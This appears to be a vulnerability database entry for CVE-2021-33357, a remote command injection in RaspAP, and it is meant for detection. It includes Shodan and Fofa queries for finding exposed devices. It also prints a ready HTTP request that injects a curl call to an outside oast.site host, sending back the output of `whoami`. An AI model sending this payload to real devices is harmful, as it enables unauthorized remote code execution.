🔙 목록으로 돌아가기

CVE-2021-33357: RaspAP <=2.6.5 - Remote Command Injection

TitleRaspAP <=2.6.5 - Remote Command Injection
Authorpikpikcu,pdteam
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system.
RemediationUpgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.94007
CVE IDCVE-2021-33357
CWE IDCWE-78
Shodan Queryhttp.favicon.hash:-1465760059
Fofa Queryicon_hash=-1465760059
Tags cve2021 cve rce raspap oast vkev vuln

🔍 Vulnerability Description

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the “iface” GET parameter in /ajax/networking/get_netcfg.php, when the “iface” parameter value contains special characters such as “;”.

🌐 HTTP Request

GET /ajax/networking/get_netcfg.php?iface=;curl%20d5jns31le0o3po5okd80xf1djpwh3ngwr.oast.site/`whoami`; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33357.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-33357.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A